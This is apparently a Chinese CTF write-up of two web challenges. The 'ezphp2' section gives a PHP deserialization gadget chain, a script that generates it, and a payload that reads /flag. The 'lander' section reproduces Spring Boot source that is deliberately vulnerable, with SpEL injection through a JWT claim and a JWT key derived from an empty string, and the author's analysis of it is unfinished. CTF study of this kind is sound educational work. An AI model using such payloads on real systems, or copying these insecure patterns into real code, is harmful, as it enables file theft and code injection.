比赛概述
总体上来说,比赛难度还是有的
但是我自身的一些欠缺也是存在的,赛后复盘的时候发现自己在一些地方没注意,导致该拿的分数没拿到,这是真的非常可惜的
ezphp2
这是一道反序列化的题目,源码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
foreach (explode("-",$this->a) as $value){
echo $value." ";
}
}
}
class B extends C {
public $c;
public function FileReader(){
if (file_exists($this->c)){
echo file_get_contents($this->c);
}else{
echo "file_not_found";
}
}
public function __toString()
{
$this->FileReader();
return "";
}
}
class C{
public $what;
public $haha;
public function __wakeup()
{
$this->c = "no way";
$this->what = $this->haha;
}
}
$p = $_GET["p"];
if (isset($p)){
unserialize($p);
}else{
new A("Welcome-hacker");
}
看起来,是要将文件名路径传给$c,然后读取文件内容出来即可
这里要把A类里面的传入B类,然后常规过wakeup即可,但是我比赛的时候忘记过wakeup了。。。
本来我自己都是手工构造序列化内容的,但赛后突然发现另外一种解题思路:
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
foreach (explode("-",$this->a) as $value){
echo $value." ";
}
}
}
class B extends C {
public $c="/flag";
public function FileReader(){
if (file_exists($this->c)){
echo "<br>";
echo "Flag为:" . file_get_contents($this->c);
}else{
echo "file_not_found";
}
}
public function __toString()
{
$this->FileReader();
return "";
}
}
class C{
public $what;
public $haha;
public function __wakeup()
{
$this->c = "no way";
$this->what = $this->haha;
}
}
$bbb=new B();
$asd=new A($a=$bbb);
print_r($asd);
echo "<br>";
echo "构造反序列化字符串为:" . serialize($asd);
?>
可以这样直接输出出来!!!
解题Payload如下:
O:1:"A":1:{s:1:"a";O:1:"B":3:{s:1:"c";s:5:"/flag";s:4:"what";N;s:4:"haha";N;}}
lander
这是一道Java写的Web登录题,给了源码,目录结构如下:
F:.
│ Easyjava2Application.java
│
├─controller
│ Index.java
│
└─Utils
CyberUtils.java
JwtUtils.java
OtherUtils.java
Easyjava2Application.java:
package com.ctf.lander;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Easyjava2Application {
public static void main(String[] args) {
SpringApplication.run(Easyjava2Application.class, args);
}
}
Index.java:
package com.ctf.lander.controller;
import com.ctf.lander.Utils.JwtUtils;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Map;
@Controller
public class Index {
@RequestMapping(value = "/")
public String index()throws Exception{
return "index";
}
@RequestMapping(value = "/login")
public void login(String username, HttpServletResponse response)throws Exception{
String jwt = JwtUtils.getToken(username);
Cookie cookie = new Cookie("auth",jwt);
response.addCookie(cookie);
response.sendRedirect("/success");
}
@ResponseBody
@RequestMapping(value = "/success")
public String success(Model model, HttpServletRequest request, HttpServletResponse response)throws Exception{
Cookie[] cookies = request.getCookies();
try {
Map result = JwtUtils.parseToken(cookies[0].getValue());
String username = result.get("sub").toString();
String uuid = result.get("jti").toString();
if (uuid.contains("flag")||uuid.contains("/")){
return "no";
}
ExpressionParser expressionParser = new SpelExpressionParser();
Expression time = expressionParser.parseExpression(String.format("T(com.ctf.lander.Utils.OtherUtils).FileRead('%s')",uuid));
return username+" create at "+time.getValue();
}catch (Exception e){
response.sendRedirect("/");
return "";
}
}
}
CyberUtils.java:
package com.ctf.lander.Utils;
import org.springframework.util.DigestUtils;
public class CyberUtils {
public static byte[] Md5(String str)throws Exception{
return DigestUtils.md5DigestAsHex(str.getBytes("utf-8")).getBytes();
}
public static byte[] Md5()throws Exception{
return DigestUtils.md5DigestAsHex("".getBytes("utf-8")).getBytes();
}
}
JwtUtils.java:
package com.ctf.lander.Utils;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.JwtBuilder;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;
import java.util.UUID;
public class JwtUtils {
public static String getToken(String username) throws Exception{
String uuid = UUID.randomUUID().toString();
JwtBuilder jwtBuilder = Jwts.builder()
.setId(uuid)
.setSubject(username)
.setIssuedAt(new Date())
.signWith(SignatureAlgorithm.HS256, CyberUtils.Md5());
OtherUtils.FileWrite(uuid);
return jwtBuilder.compact();
}
public static Claims parseToken(String token)throws Exception{
Claims claims = Jwts.parser()
.setSigningKey(CyberUtils.Md5())
.parseClaimsJws(token)
.getBody();
return claims;
}
}
OtherUtils.java:
package com.ctf.lander.Utils;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Date;
public class OtherUtils {
final static String Base_dir = "/tmp/";
public static void FileWrite(String filename)throws Exception{
File file = new File(Base_dir+filename);
if (!file.exists()){
file.createNewFile();
}
FileWriter fileWriter = new FileWriter(Base_dir+filename);
fileWriter.write(new Date().toString());
fileWriter.close();
}
public static String FileRead(String filename)throws Exception{
File file = new File(Base_dir+filename);
if (!file.exists()){
return "";
}
byte[] bytes = Files.readAllBytes(Paths.get(Base_dir+filename));
String content = new String(bytes, StandardCharsets.UTF_8);
return content;
}
public static String FileRead(Boolean bool)throws Exception{
if (bool){
byte[] bytes = Files.readAllBytes(Paths.get("/flag"));
String content = new String(bytes, StandardCharsets.UTF_8);
return content;
}
return "";
}
}
这道题我还在研究中,打开是一个空白界面,然后能在代码里面看到/login和/success两个目录
访问/login,能获得一个jwt格式的cookie,然后自动跳转到/success
我猜测,是要将cookie改为管理员的格式,传给/success后才能出现flag
评论 (0)